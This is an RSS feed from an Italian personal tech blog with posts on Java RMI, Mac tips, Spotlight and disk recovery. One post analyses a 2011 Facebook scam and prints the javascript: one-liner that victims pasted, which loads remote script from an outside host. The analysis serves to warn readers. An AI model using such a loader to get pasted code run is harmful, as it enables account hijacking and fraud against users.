<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Qualsiasi</title>
	<atom:link href="http://www.qualsiasi.net/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.qualsiasi.net</link>
	<description>perchè a tutti piace il qualunquismo.</description>
	<lastBuildDate>Thu, 05 Jan 2012 22:12:46 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Java RMI stubs keep connecting on wrong IP address ( 127.0.0.1 )</title>
		<link>http://www.qualsiasi.net/2012/java-rmi-stubs-keep-connecting-on-wrong-ip-address-127-0-0-1/</link>
		<comments>http://www.qualsiasi.net/2012/java-rmi-stubs-keep-connecting-on-wrong-ip-address-127-0-0-1/#comments</comments>
		<pubDate>Thu, 05 Jan 2012 22:12:46 +0000</pubDate>
		<dc:creator>Qualsiasi</dc:creator>
				<category><![CDATA[linux]]></category>
		<category><![CDATA[programmazione]]></category>

		<guid isPermaLink="false">http://www.qualsiasi.net/?p=317</guid>
		<description><![CDATA[I&#8217;m making a medium-small client-server program as a final class project, and today I tried for the first time to execute the two main parts on different machines. The &#8220;server&#8221; was my linux box, running Archlinux, exporting a set of remote objects (well, factories&#8230; nevermind) and the &#8220;client&#8221; was my Macbook. Something strange happened. I [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;m making a medium-small client-server program as a final class project, and today I tried for the first time to execute the two main parts on different machines. The &#8220;server&#8221; was my linux box, running Archlinux, exporting a set of remote objects (well, factories&#8230; nevermind) and the &#8220;client&#8221; was my Macbook.</p>
<p>Something strange happened.</p>
<p>I was running a simple program that did list all remote objects available and execute a method on them (all of them were implementing the same interface). The registry.list() was giving me results, so I tought all was working and then I got a &#8220;Connection Refused&#8221; Exception, saying it couldn&#8217;t connect to &#8220;127.0.0.1&#8243;.</p>
<p>Of course there would be no need at all to connect to 127.0.0.1 as my RMIRegistry was up and running on 192.168.1.5, so I tried launching the registry with:</p>
<p style="padding-left: 30px;">
<p style="padding-left: 30px;">rmiregistry -J-Djava.rmi.server.hostname=192.168.1.5</p>
<p>nothing. Same error. It took me more or less an hour on google (mainly because I didn&#8217;t know what to search for) and then I got myself to <a href="http://blogs.oracle.com/observatory/entry/rmi">this</a> page, telling that on solaris (and on my linux box!) you need to edit your &#8220;/etc/hosts&#8221; file to make RMI generate stubs correctly (otherwise it generates stubs which embed 127.0.0.1 as IP address). So I added this line at the end of the file:</p>
<p style="padding-left: 30px;">192.168.1.5    Server</p>
<p>and all started working as it should.</p>
<p>Nice. Thanks to: <a href="http://blogs.oracle.com/observatory/entry/rmi">http://blogs.oracle.com/observatory/entry/rmi</a></p>
<p>PS: Excuse my English.</p>
<p>PPS (Italian) : visto che ho avuto molte difficoltà a trovare questo tipo di informazioni ho deciso di riportarle in inglese nella speranza che potessero essere utili per qualcuno.</p>
<p style="padding-left: 30px;">
 <img src="http://www.qualsiasi.net/wordpress/wp-content/plugins/wordpress-feed-statistics/feed-statistics.php?view=1&post_id=317" width="1" height="1" style="display: none;" />]]></content:encoded>
			<wfw:commentRss>http://www.qualsiasi.net/2012/java-rmi-stubs-keep-connecting-on-wrong-ip-address-127-0-0-1/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Cose interessanti per NERD, una rubrica che spero diverrà periodica</title>
		<link>http://www.qualsiasi.net/2011/cose-interessanti-per-nerd-una-rubrica-che-spero-diverra-periodica/</link>
		<comments>http://www.qualsiasi.net/2011/cose-interessanti-per-nerd-una-rubrica-che-spero-diverra-periodica/#comments</comments>
		<pubDate>Mon, 21 Nov 2011 13:36:18 +0000</pubDate>
		<dc:creator>Qualsiasi</dc:creator>
				<category><![CDATA[varie]]></category>
		<category><![CDATA[attiny]]></category>
		<category><![CDATA[evolution]]></category>
		<category><![CDATA[link interessanti]]></category>
		<category><![CDATA[localization]]></category>
		<category><![CDATA[nerd]]></category>
		<category><![CDATA[usb]]></category>
		<category><![CDATA[wifi]]></category>

		<guid isPermaLink="false">http://www.qualsiasi.net/?p=310</guid>
		<description><![CDATA[Ok, ho trascurato il Blog per un po&#8217; ma nel frattempo sono riuscito a procurarmi una laurea. Bene. Ora che ho tempo vorrei periodicamente mettere in mostra qui sul mio blog alcuni progetti, ricerche, immagini interessanti o divertenti che potrebbero interessarvi. Iniziamo: USB-Tiny [homepage] e V-USB [homepage] Implementazione del protocollo USB per i microcontroller Atmel [...]]]></description>
			<content:encoded><![CDATA[<p>Ok, ho trascurato il Blog per un po&#8217; ma nel frattempo sono riuscito a procurarmi una laurea. Bene. Ora che ho tempo vorrei periodicamente mettere in mostra qui sul mio blog alcuni progetti, ricerche, immagini interessanti o divertenti che potrebbero interessarvi. Iniziamo:</p>
<p><strong>USB-Tiny [<a href="http://dicks.home.xs4all.nl/avr/usbtiny/" target="_blank">homepage</a>] e V-USB [<a href="http://vusb.wikidot.com/" target="_blank">homepage</a>]</strong></p>
<p>Implementazione del protocollo USB per i microcontroller Atmel AVR Attiny piuttosto limitata visto l&#8217;hardware ma che comunque permette di comunicare fra PC e Microcontroller in modo semplice (ormai seriali e parallele non si vedono sui PC, neanche sui desktop).</p>
<p><strong>Rilevazione dei movimenti tramite variazione della potenza del segnare delle reti wireless [<a href="http://arxiv.org/pdf/0909.5417v2" target="_blank">articolo PDF</a>]</strong></p>
<p>Questo tipo di cose mi piacciono non perché sia particolarmente interessante l&#8217;applicazione in se, o promettente il lavoro, bensì perché apprezzo molto la capacità di pensare fuori dagli schemi, l&#8217;utilizzo di un effetto dovuto ad una tecnologia/infrastruttura per trarne altri tipi di informazioni.</p>
<p><strong>BoxCard2D [<a href="http://www.boxcar2d.com/index.html" target="_blank">homepage</a>]</strong></p>
<p>È un gioco evolutivo e poco interattivo, ma mi piace molto. Lo scopo è evolvere il miglior veicolo per un certo percorso target, si possono disegnare dei modelli base e poi lasciare il lavoro al simulatore (che in questo modo valuta la cosiddetta &#8220;fitness&#8221; del modello) e all&#8217;evolutore genetico che creerà nuove generazioni di modellini. Divertente.</p>
 <img src="http://www.qualsiasi.net/wordpress/wp-content/plugins/wordpress-feed-statistics/feed-statistics.php?view=1&post_id=310" width="1" height="1" style="display: none;" />]]></content:encoded>
			<wfw:commentRss>http://www.qualsiasi.net/2011/cose-interessanti-per-nerd-una-rubrica-che-spero-diverra-periodica/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Piccole sorprese mattutine, &#8220;Show barcode&#8221;</title>
		<link>http://www.qualsiasi.net/2011/piccole-sorprese-mattutine-show-barcode/</link>
		<comments>http://www.qualsiasi.net/2011/piccole-sorprese-mattutine-show-barcode/#comments</comments>
		<pubDate>Sun, 03 Jul 2011 08:03:12 +0000</pubDate>
		<dc:creator>Qualsiasi</dc:creator>
				<category><![CDATA[Senza categoria]]></category>

		<guid isPermaLink="false">http://www.qualsiasi.net/?p=306</guid>
		<description><![CDATA[Stamattina mi è capitato di dover spulciare nel menù di Klipper (il gestore della clipboard di KDE4) e trovare una voce molto interessante: &#8220;Show barcode&#8221;. Genera un datamatrix contenente l&#8217;ultima stringa copiata, sembra una sciocchezza &#8211; ma per chi ha barcode reader installato sul proprio android potrebbe risultare comodo copiare un URL e generare il [...]]]></description>
			<content:encoded><![CDATA[<p>Stamattina mi è capitato di dover spulciare nel menù di Klipper (il gestore della clipboard di KDE4) e trovare una voce molto interessante: &#8220;Show barcode&#8221;. Genera un datamatrix contenente l&#8217;ultima stringa copiata, sembra una sciocchezza &#8211; ma per chi ha barcode reader installato sul proprio android potrebbe risultare comodo copiare un URL e generare il barcode per il telefono.</p>
<div id="attachment_307" class="wp-caption aligncenter" style="width: 382px"><a href="http://www.qualsiasi.net/wordpress/wp-content/uploads/2011/07/klip.png"><img class="size-full wp-image-307" title="klip" src="http://www.qualsiasi.net/wordpress/wp-content/uploads/2011/07/klip.png" alt="" width="372" height="306" /></a><p class="wp-caption-text">Klipper -&gt; Show barcode...</p></div>
 <img src="http://www.qualsiasi.net/wordpress/wp-content/plugins/wordpress-feed-statistics/feed-statistics.php?view=1&post_id=306" width="1" height="1" style="display: none;" />]]></content:encoded>
			<wfw:commentRss>http://www.qualsiasi.net/2011/piccole-sorprese-mattutine-show-barcode/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>8 GB of RAM on a MacBook 5,1 (Unibody) [DDR3 1066 Mhz]</title>
		<link>http://www.qualsiasi.net/2011/8-gb-of-ram-on-a-macbook-51-unibody-ddr3-1066-mhz/</link>
		<comments>http://www.qualsiasi.net/2011/8-gb-of-ram-on-a-macbook-51-unibody-ddr3-1066-mhz/#comments</comments>
		<pubDate>Wed, 01 Jun 2011 10:09:00 +0000</pubDate>
		<dc:creator>Qualsiasi</dc:creator>
				<category><![CDATA[Mac]]></category>
		<category><![CDATA[1066 Mhz]]></category>
		<category><![CDATA[8Gb]]></category>
		<category><![CDATA[DDR3]]></category>
		<category><![CDATA[macbook]]></category>
		<category><![CDATA[RAM]]></category>
		<category><![CDATA[Unibody]]></category>

		<guid isPermaLink="false">http://www.qualsiasi.net/?p=300</guid>
		<description><![CDATA[La settimana scorsa, dopo averci pensato a lungo &#8211; e dopo un paio di birre di troppo &#8211; mi sono avventurato nell&#8217;acquisto di due moduli di memoria RAM da 4GB l&#8217;uno, DDR3 1066 Mhz &#8211; ufficialmente non supportati dal mio MacBook 5,1 ma secondo alcuni forum funzionanti comunque. Il risultato è stato ottimo &#8211; funzionano [...]]]></description>
			<content:encoded><![CDATA[<p>La settimana scorsa, dopo averci pensato a lungo &#8211; e dopo un paio di birre di troppo &#8211; mi sono avventurato nell&#8217;acquisto di due moduli di memoria RAM da 4GB l&#8217;uno, DDR3 1066 Mhz &#8211; ufficialmente non supportati dal mio MacBook 5,1 ma secondo alcuni forum funzionanti comunque. Il risultato è stato ottimo &#8211; funzionano alla grande, con una spesa di poco più di 80 euro (compresa spedizione) ho fatto un upgrade importante al Mac, che altrimenti usava molto il file di paging.</p>
<p><span style="color: #008000;">English: my MacBook 5,1 Unibody supports 8Gb 1066/DDR3 RAM &#8211; don&#8217;t know if all models support it, following i put screenshots of my BIOS + SMC version. Be careful, i&#8217;m not sure it will work for YOU. YOU risk on spending money for useless RAM.</span></p>
<p><span style="color: #000000;">Per chiunque volesse avventurarsi, il mio MacBook ha le seguenti versioni di BIOS e SMC. Attenzione, a me funzionano ma non prometto che funzioni anche a VOI, spendete per la RAM a vostro rischio.</span></p>
<div id="attachment_301" class="wp-caption aligncenter" style="width: 331px"><a href="http://www.qualsiasi.net/wordpress/wp-content/uploads/2011/06/Schermata-2011-06-01-a-12.17.11.png"><img class="size-full wp-image-301" title="Schermata 2011-06-01 a 12.17.11" src="http://www.qualsiasi.net/wordpress/wp-content/uploads/2011/06/Schermata-2011-06-01-a-12.17.11.png" alt="" width="321" height="173" /></a><p class="wp-caption-text">Descrizione Hardware</p></div>
 <img src="http://www.qualsiasi.net/wordpress/wp-content/plugins/wordpress-feed-statistics/feed-statistics.php?view=1&post_id=300" width="1" height="1" style="display: none;" />]]></content:encoded>
			<wfw:commentRss>http://www.qualsiasi.net/2011/8-gb-of-ram-on-a-macbook-51-unibody-ddr3-1066-mhz/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Il video di Osama su Facebook, anatomia di un &#8220;virus&#8221;.</title>
		<link>http://www.qualsiasi.net/2011/il-video-di-osama-su-facebook-anatomia-di-un-virus/</link>
		<comments>http://www.qualsiasi.net/2011/il-video-di-osama-su-facebook-anatomia-di-un-virus/#comments</comments>
		<pubDate>Thu, 05 May 2011 09:37:17 +0000</pubDate>
		<dc:creator>Qualsiasi</dc:creator>
				<category><![CDATA[varie]]></category>
		<category><![CDATA[bin laden]]></category>
		<category><![CDATA[cellulare]]></category>
		<category><![CDATA[facebook]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[osama]]></category>
		<category><![CDATA[script]]></category>
		<category><![CDATA[virus]]></category>

		<guid isPermaLink="false">http://www.qualsiasi.net/?p=283</guid>
		<description><![CDATA[Virus virgolettato, perché lo è formalmente &#8211; ma a ben vedere, non è un infezione &#8220;cronica&#8221; &#8211; dura il tempo di esecuzione di uno script. Da ieri, che io sappia, gira su facebook un link che dovrebbe contenere il video dell&#8217;esecuzione di Osama Bin Laden. Ovviamente è un falso e quando si clicca viene presentata [...]]]></description>
			<content:encoded><![CDATA[<p>Virus virgolettato, perché lo è formalmente &#8211; ma a ben vedere, non è un infezione &#8220;cronica&#8221; &#8211; dura il tempo di esecuzione di uno script. Da ieri, che io sappia, gira su facebook un link che dovrebbe contenere il video dell&#8217;esecuzione di Osama Bin Laden. Ovviamente è un falso e quando si clicca viene presentata una pagina di questo tipo:</p>
<div id="attachment_284" class="wp-caption aligncenter" style="width: 553px"><a href="http://www.qualsiasi.net/wordpress/wp-content/uploads/2011/05/Schermata-2011-05-05-a-11.04.58.png"><img class="size-full wp-image-284" title="Schermata 2011-05-05 a 11.04.58" src="http://www.qualsiasi.net/wordpress/wp-content/uploads/2011/05/Schermata-2011-05-05-a-11.04.58.png" alt="" width="543" height="535" /></a><p class="wp-caption-text">Fan page incriminata su Facebook</p></div>
<p>Innanzitutto copiare e incollare qualcosa che non si capisce (e che palesemente non è un indirizzo web) nella barra degli indirizzi è cosa cattiva e sbagliata. Facebook ce la mette tutta, filtrando i contenuti visualizzabili sulle sue pagine interne &#8211; e di fatti per aggirare le restrizioni che non permetterebbero il diffondersi di certi programmi (script) malevoli, il cattivone di turno deve affidarsi al mitico errore PEBKAC ( &#8220;Problem Exists Between Keyboard And Chair&#8221; ) ovvero all&#8217;utente poco saggio che fa tutto quello che gli dici senza sapere cosa sta facendo. Fantastico.</p>
<p>Andiamo oltre e vediamo qual&#8217;è il codice che dobbiamo copiare e incollare.</p>

<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;">javascript<span style="color: #339933;">:</span><span style="color: #009900;">&#40;</span>a<span style="color: #339933;">=</span><span style="color: #009900;">&#40;</span>b<span style="color: #339933;">=</span>document<span style="color: #009900;">&#41;</span>.<span style="color: #660066;">createElement</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'script'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">src</span><span style="color: #339933;">=</span><span style="color: #3366CC;">'//strummer5202.info/you/joe.php?'</span><span style="color: #339933;">+</span>Math.<span style="color: #660066;">random</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span>
b.<span style="color: #660066;">body</span>.<span style="color: #660066;">appendChild</span><span style="color: #009900;">&#40;</span>a<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000066; font-weight: bold;">void</span><span style="color: #009900;">&#40;</span><span style="color: #CC0000;">0</span><span style="color: #009900;">&#41;</span></pre></div></div>

<p>Ho riformattato leggermente il codice per una più facile lettura. In pratica esegue un comando &#8220;inline&#8221; javascript che crea un elemento script e e nel campo SRC inserisce l&#8217;url  &#8221;strummer5202.info/you/joe.php&#8221; concatenandoci un numero casuale. La seconda riga inserisce nel documento corrente lo script appena creato, mentre l&#8217;ultima linea non esegue nulla. Notare l&#8217;utilizzo della virgola invece del punto e virgola, è il &#8220;comma operator&#8221; &#8211; una finezza che non sono sicuro fosse necessaria.</p>
<p>Vediamo brevemente il codice che viene inserito nella pagina da questo comando:</p>

<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #006600; font-style: italic;">// Il codice l'ho rimosso perchè mi rovinava il layout</span>
<span style="color: #006600; font-style: italic;">// e comunque non era così interessante, se avete </span>
<span style="color: #006600; font-style: italic;">// conoscenza di AJAX, potete scrivervelo in pochi minuti</span>
<span style="color: #006600; font-style: italic;">// da soli.</span></pre></div></div>

<p>Senza entrare nel dettaglio, vediamo come come prima cosa legge un cookie, che evidentemente serve per comunicare con facebook &#8211; poi scarica la lista degli amici e inserisce il link sulla bacheca dei primi 400 amici. In seguito manipola lo stile della barra inferiore per nasconderla, e invia il link anche a tutti gli amici online in chat. Come ultima cosa, porta l&#8217;utente ad una pagina esterna a facebook, dove viene chiesto di verificare l&#8217;account inserendo il numero di telefono. La pagina si presenta come &#8220;verosimile&#8221; anche se lo stile non è proprio quello ufficiale di facebook, e l&#8217;italiano è un po&#8217; troppo informale.</p>
<div id="attachment_285" class="wp-caption aligncenter" style="width: 540px"><a href="http://www.qualsiasi.net/wordpress/wp-content/uploads/2011/05/Schermata-2011-05-05-a-11.30.17.png"><img class="size-full wp-image-285 " title="Schermata 2011-05-05 a 11.30.17" src="http://www.qualsiasi.net/wordpress/wp-content/uploads/2011/05/Schermata-2011-05-05-a-11.30.17.png" alt="" width="530" height="330" /></a><p class="wp-caption-text">Inserisci il tuo numero e ritrovati il credito prosciugato.</p></div>
<p>Ovviamente non ho inserito il numero, ma è verosimile pensare che ci si abboni a qualche servizio a pagamento, possibilmente molto costoso &#8211; così oltre al danno anche la beffa. Il riquadro è un frame, che contiene un altro sito di servizi in abbonamento per telefoni cellulari. Non so se l&#8217;indirizzo viene generato dinamicamente, comunque il frame intero, e non ritagliato &#8220;ad hoc&#8221; contiene anche le informazioni sul servizio a cui ci si ritrova abbonati inserendo il proprio numero:</p>
<blockquote><p><strong>Servizio in abbonamento, riservato ai maggiorenni,</strong> disponibile  per i clienti di TIM, Vodafone, WIND e 3. Prima di attivare il servizio e  scaricare il contenuto, confermare di aver letto Termini di Servizio,  [...]<strong> costo del servizio 5 Euro a settimana IVA inc.</strong> Dal costo del servizio è <strong>escluso il traffico WAP dove previsto.</strong> Costo SMS di richiesta TIM e WIND 12,4 centesimi IVA inc. (WIND: 50  centesimi IVA inc. dall&#8217;estero), Vodafone e 3 secondo proprio piano  tariffario. [...] Per disattivare manda un SMS con  scritto <strong>RI STOP al 4890897.</strong></p></blockquote>
<p>Il servizio sembra completamente legittimo (anche perchè in collaborazione con una grande azienda di telecomunicazioni), ho tagliato alcune parti in cui compare il nome del fornitore del servizio perché la mia impressione è che non centri assolutamente con l&#8217;autore del &#8220;virus&#8221; che voleva semplicemente fare più danni possibile.</p>
<p>UPDATE: mi hanno risposto via email i gestori del &#8220;frame&#8221; che veniva incluso nella pagina finale &#8211; ed ovviamente sono completamente estranei alla vicenda, io lascio il numero per la disattivazione del servizio nel caso qualche lettore sprovveduto si fosse a sua insaputa iscritto al servizio. Il sito &#8220;verifica-account.com&#8221; è già offline come anche il sito &#8220;strummer5202.info&#8221; &#8211; direi che le autorità o chi per loro (amministratori dei vari ISP coinvolti) sono stati veloci.</p>
 <img src="http://www.qualsiasi.net/wordpress/wp-content/plugins/wordpress-feed-statistics/feed-statistics.php?view=1&post_id=283" width="1" height="1" style="display: none;" />]]></content:encoded>
			<wfw:commentRss>http://www.qualsiasi.net/2011/il-video-di-osama-su-facebook-anatomia-di-un-virus/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Programmi &#8220;must have&#8221; per OSX</title>
		<link>http://www.qualsiasi.net/2011/programmi-must-have-per-osx/</link>
		<comments>http://www.qualsiasi.net/2011/programmi-must-have-per-osx/#comments</comments>
		<pubDate>Tue, 19 Apr 2011 07:26:51 +0000</pubDate>
		<dc:creator>Qualsiasi</dc:creator>
				<category><![CDATA[varie]]></category>
		<category><![CDATA[applicazioni]]></category>
		<category><![CDATA[osx]]></category>
		<category><![CDATA[programmi]]></category>
		<category><![CDATA[utili]]></category>
		<category><![CDATA[utility]]></category>

		<guid isPermaLink="false">http://www.qualsiasi.net/?p=281</guid>
		<description><![CDATA[Ovviamente questa è una classifica completamente ed essenzialmente personale, contenente alcuni software che uso molto spesso sul mio MacBook. Skim Lettore PDF leggero, e con alcune feature interessanti. Lo uso molto per prendere &#8220;note a margine&#8221; delle slide durante le lezioni. L&#8217;avevo scaricato, tempo fa, per la sola modalità fullscreen. http://skim-app.sourceforge.net/ Disk Inventory X Sono [...]]]></description>
			<content:encoded><![CDATA[<p>Ovviamente questa è una classifica completamente ed essenzialmente personale, contenente alcuni software che uso molto spesso sul mio MacBook.</p>
<p><strong>Skim</strong></p>
<p>Lettore PDF leggero, e con alcune feature interessanti. Lo uso molto per prendere &#8220;note a margine&#8221; delle slide durante le lezioni. L&#8217;avevo scaricato, tempo fa, per la sola modalità fullscreen.</p>
<p><a href="http://skim-app.sourceforge.net/">http://skim-app.sourceforge.net/</a></p>
<p><strong>Disk Inventory X</strong></p>
<p>Sono disordinato, e lo sono sempre stato. Questo tool mi aiuta graficamente a trovare file grossi e inutili da eliminare (tipicamente i drive di qualche esperimento fatto con VirtualBox). Non lo uso molto spesso, ma quando lo uso trovo sempre qualche decina di Gb inutilmente occupati.</p>
<p><a href="http://www.derlien.com/">http://www.derlien.com/</a></p>
<p><strong>Dropbox</strong></p>
<p>Lo uso da relativamente poco tempo, però continuo a trovarlo molto utile. Ce l&#8217;ho sia sul MacBook, che sul pc fisso (linux) e cellulare (android) &#8211; lo uso principalmente per sincronizzare fra i due pc i file dell&#8217;università e i sorgenti di qualche programmino. Inoltre ci ho salvato i miei dizionari preferiti, e poi ho la cartella condivisa con gli amici per le cose meno serie. Da provare, se vi iscrivete cliccando il link qui sotto mi regalate 250 Mb di spazio.</p>
<p><a href="http://db.tt/BQfHwkh">http://www.dropbox.com/</a></p>
<p><strong>Fetch Art</strong></p>
<p>Per scaricare le cover dei brani su iTunes, piccola utility che uso saltuariamente.</p>
<p><a href="http://fetchartblog.blogspot.com/">http://fetchartblog.blogspot.com/</a></p>
<p><strong>Music Brainz Picard</strong></p>
<p>Usando la magia nera questo software trova le tag giuste per i file .mp3 forniti. Utile per le persone come me che si ritrovano con molti file non taggati.</p>
<p><a href="http://musicbrainz.org/doc/MusicBrainz_Picard">http://musicbrainz.org/doc/MusicBrainz_Picard</a></p>
 <img src="http://www.qualsiasi.net/wordpress/wp-content/plugins/wordpress-feed-statistics/feed-statistics.php?view=1&post_id=281" width="1" height="1" style="display: none;" />]]></content:encoded>
			<wfw:commentRss>http://www.qualsiasi.net/2011/programmi-must-have-per-osx/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Spotlight da linea di comando</title>
		<link>http://www.qualsiasi.net/2011/spotlight-da-linea-di-comando/</link>
		<comments>http://www.qualsiasi.net/2011/spotlight-da-linea-di-comando/#comments</comments>
		<pubDate>Mon, 28 Mar 2011 20:58:36 +0000</pubDate>
		<dc:creator>Qualsiasi</dc:creator>
				<category><![CDATA[programmazione]]></category>
		<category><![CDATA[CLI]]></category>
		<category><![CDATA[command line]]></category>
		<category><![CDATA[mdfind]]></category>
		<category><![CDATA[mdls]]></category>
		<category><![CDATA[osx]]></category>
		<category><![CDATA[snow leopard]]></category>
		<category><![CDATA[spotlight]]></category>

		<guid isPermaLink="false">http://www.qualsiasi.net/?p=275</guid>
		<description><![CDATA[Spotlight è un motore, integrato in OSX, per la ricerca di file sia tramite dati che metadati. Poche informazioni sono reperibili online, ma queste ricerche sono disponibili anche da command line (e quindi potenzialmente inseribili in programmi, script, etc&#8230;) Vediamo velocemente una piccola introduzione. Innanzitutto preso un generico file su OSX, che sia indicizzato, possiamo [...]]]></description>
			<content:encoded><![CDATA[<p>Spotlight è un motore, integrato in OSX, per la ricerca di file sia tramite dati che metadati. Poche informazioni sono reperibili online, ma queste ricerche sono disponibili anche da command line (e quindi potenzialmente inseribili in programmi, script, etc&#8230;)</p>
<p>Vediamo velocemente una piccola introduzione. Innanzitutto preso un generico file su OSX, che sia indicizzato, possiamo vedere tutti i suoi dati con il comando <strong>mdls</strong>:</p>
<blockquote>
<pre>$ mdls update-cm-7.0.0-RC1-N1-signed.zip
kMDItemContentCreationDate     = 2011-02-16 12:39:47 +0100
kMDItemContentModificationDate = 2011-02-16 12:42:02 +0100
kMDItemContentType             = "public.zip-archive"
kMDItemContentTypeTree         = (
    "public.zip-archive",
    "com.pkware.zip-archive",
    "public.data",
    "public.item",
    "com.apple.bom-archive",
    "public.archive"
)
kMDItemDisplayName             = "update-cm-7.0.0-RC1-N1-signed.zip"
kMDItemFSContentChangeDate     = 2011-02-16 12:42:02 +0100
kMDItemFSCreationDate          = 2011-02-16 12:39:47 +0100
kMDItemFSCreatorCode           = ""
kMDItemFSFinderFlags           = 0
kMDItemFSHasCustomIcon         = 0
kMDItemFSInvisible             = 0
kMDItemFSIsExtensionHidden     = 0
kMDItemFSIsStationery          = 0
kMDItemFSLabel                 = 0
kMDItemFSName                  = "update-cm-7.0.0-RC1-N1-signed.zip"
kMDItemFSNodeCount             = 0
kMDItemFSOwnerGroupID          = 20
kMDItemFSOwnerUserID           = 502
kMDItemFSSize                  = 83449050
kMDItemFSTypeCode              = ""
kMDItemKind                    = "Archivio zip"
kMDItemLastUsedDate            = 2011-02-16 12:42:02 +0100
kMDItemUsedDates               = (
    "2011-02-16 00:00:00 +0100"
)
kMDItemWhereFroms              = (
    "http://mirror.kanged.net/RC/update-cm-7.0.0-RC1-N1-signed.zip",
    "http://mirror.teamdouche.net/?device=passion"
)</pre>
</blockquote>
<p>Vediamo una lunga serie di metadati collegati al tipo di file, per un file audio saranno i tag ID3, per una foto invece avremo altezza, larghezza, risoluzione, colorspace e molte altre informazioni. La cosa, a mio avviso, più interessante è il fatto che tutti i file scaricati da internet avranno il campo &#8220;<strong>kMDItemWhereFroms</strong>&#8221; che salva l&#8217;url dal quale è stato scaricato il file, e il suo referrer. Il comando &#8220;<strong>mdfind</strong>&#8221; funziona come il classico find/locate di unix, ma permette di ricercare anche per &#8220;metadati&#8221;, ad esempio per trovare tutte le immagini scaricate da facebook, useremo il comando:</p>
<blockquote>
<pre>mdfind "kMDItemWhereFroms = *fbcdn*"</pre>
</blockquote>
<p>Divertitevi!</p>
 <img src="http://www.qualsiasi.net/wordpress/wp-content/plugins/wordpress-feed-statistics/feed-statistics.php?view=1&post_id=275" width="1" height="1" style="display: none;" />]]></content:encoded>
			<wfw:commentRss>http://www.qualsiasi.net/2011/spotlight-da-linea-di-comando/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Recuperare l&#8217;errore &#8220;Invalid node structure&#8221; (recovery) su Snow Leopard + English Version</title>
		<link>http://www.qualsiasi.net/2011/recuperare-lerrore-invalid-node-structure-recovery-su-snow-leopard/</link>
		<comments>http://www.qualsiasi.net/2011/recuperare-lerrore-invalid-node-structure-recovery-su-snow-leopard/#comments</comments>
		<pubDate>Thu, 17 Mar 2011 13:44:32 +0000</pubDate>
		<dc:creator>Qualsiasi</dc:creator>
				<category><![CDATA[linux]]></category>
		<category><![CDATA[varie]]></category>
		<category><![CDATA[fsck]]></category>
		<category><![CDATA[invalid node structure]]></category>
		<category><![CDATA[mac]]></category>
		<category><![CDATA[macbook]]></category>
		<category><![CDATA[osx]]></category>
		<category><![CDATA[recovery]]></category>

		<guid isPermaLink="false">http://www.qualsiasi.net/?p=250</guid>
		<description><![CDATA[For a short ENGLISH version (very very short) scroll to bottom of the article. Attenzione: prima di tutto questa non è una procedura standard, è solo il resoconto di come IO abbia risolto questo problema sul MIO MacBook &#8211; non mi dilungo in spiegazioni sui comandi e concetti dei sistemi unix-like, se capite quello che [...]]]></description>
			<content:encoded><![CDATA[<p><span style="color: #008000;">For a short ENGLISH version (very very short) scroll to bottom of the article.</span></p>
<p><span style="color: #ff0000;">Attenzione: prima di tutto questa non è una procedura standard, è solo il resoconto di come IO abbia risolto questo problema sul MIO MacBook &#8211; non mi dilungo in spiegazioni sui comandi e concetti dei sistemi unix-like, se capite quello che c&#8217;è scritto bene, altrimenti lasciate un commento e proverò a darvi chiarimenti, oppure rivolgetevi a qualcuno con conoscenze adeguate. È fondamentale capire che non mi assumo alcuna responsabilità se provando questa procedura perdete tutti i dati, vi si rompe il mac, o simili &#8211; fatelo a vostro rischio e pericolo.</span></p>
<p>Ieri sera il MAC si era freezato &#8211; il motivo è presto detto: tempo fa mi è scivolato (una ventina di centimetri) mentre il drive stava scrivendo, immagino che si sia rovinato parzialmente il disco, o il filesystem. Il giorno dopo riavviando il sistema andava lentissimo e il comando &#8220;sudo dmesg&#8221; segnalava diversi &#8220;Disk I/O error&#8221;. Questo errore in realtà segnala sia problemi hardware (per i quali il drive va sostituito) sia problemi software &#8211; ad esempio inconsistenze nel filesystem. Il mio era il secondo caso (è per questo che non sono sicurissimo che il drive si sia danneggiato, potrebbe aver &#8220;rimappato&#8221; i settori danneggiati su quelli di riserva) &#8211; ed ho risolto avviando il mac in modalità singolo utente (bisogna <a href="http://support.apple.com/kb/HT1492">premere cmd+s all&#8217;accensione</a>) e lanciando il comando <a href="http://support.apple.com/kb/ts1417">&#8220;fsck -fy&#8221;</a>, che in teoria è prassi standard per risolvere certi problemi (e in linea di massima non necessita di un backup) &#8211; ma il problema che mi si era presentato stamattina era ben diverso, e non risolvibile in questo modo.</p>
